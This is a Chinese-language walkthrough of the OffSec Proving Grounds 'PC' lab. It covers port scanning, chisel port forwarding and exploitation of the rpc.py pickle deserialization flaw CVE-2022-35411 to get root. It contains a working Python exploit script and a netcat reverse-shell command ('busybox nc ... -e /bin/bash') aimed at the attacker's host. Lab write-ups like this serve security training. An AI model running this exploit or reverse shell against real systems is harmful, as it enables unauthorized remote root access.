本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
PC
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界、管理员旗帜获取:
chisel 端口转发(转发靶机本地 65432 端口) –> rpc.py 远程命令执行 –> root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5
| sudo nmap -p- 192.168.212.210 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12
| sudo nmap -p22,8000 -sCV 192.168.212.210
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA) | 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA) |_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519) 8000/tcp open http ttyd 1.7.3-a2312cb (libwebsockets 3.2.0) |_http-title: ttyd - Terminal |_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 服务。
3.2 渗透测试突破边界
3.2.1 Rpc.py 远程代码执行(CVE-2022-35411)
访问系统 HTTP 8000 端口,页面可直接与系统进行交互,接下来只需要尝试提权即可。

检索系统 suid 和 sudo 权限均没有有价值发现,查看系统网路连接时发现本地监听了 65432。

由于当前权限较低,并不知道具体哪个进程使用了该端口,文件检索时,在 opt 目录发现 rpc.py 文件,而该文件中定义的脚本使用了 65432 端口,猜测可能与该文件有关。

搜索引擎检索 rpc.py exploit,发现该程序可能存在远程代码执行漏洞(CVE-2022-35411),影响版本为 0.6.0 及以上版本。
1 2 3
| rpc.py exploit https://github.com/ehtec/rpcpy-exploit https://nvd.nist.gov/vuln/detail/CVE-2022-35411
|



使用 pip list 得知系统使用了 rpc.py 0.6.0 版本,可尝试利用该漏洞。

使用 chisel 将靶机本地 65432 端口转发至 kali 9090 端口。
1 2 3 4 5 6 7 8 9 10 11 12
| chisel-common-binaries goshs -p 80
wget http://192.168.45.241/chisel_1.10.1_linux_386 -O chisel && chmod +x chisel
chisel server -p 8000 -reverse
./chisel client 192.168.45.241:8000 R:9090:127.0.0.1:65432
|



下载漏洞利用脚本,修改 host 端口为 9090,然后将执行的命令设置为反弹 shell。
1
| wget https://raw.githubusercontent.com/ehtec/rpcpy-exploit/refs/heads/main/rpcpy-exploit.py
|


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests import pickle
HOST = "127.0.0.1:9090"
URL = f"http://{HOST}/sayhi"
HEADERS = { "serializer": "pickle" }
def generate_payload(cmd):
class PickleRce(object): def __reduce__(self): import os return os.system, (cmd,)
payload = pickle.dumps(PickleRce())
print(payload)
return payload
def exec_command(cmd):
payload = generate_payload(cmd)
requests.post(url=URL, data=payload, headers=HEADERS)
def main(): exec_command('busybox nc 192.168.45.241 1234 -e /bin/bash')
if __name__ == "__main__": main()
|
kali 使用 nc 监听 1234 端口,执行漏洞利用脚本,获取到系统 root 用户 shell。


3.2.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨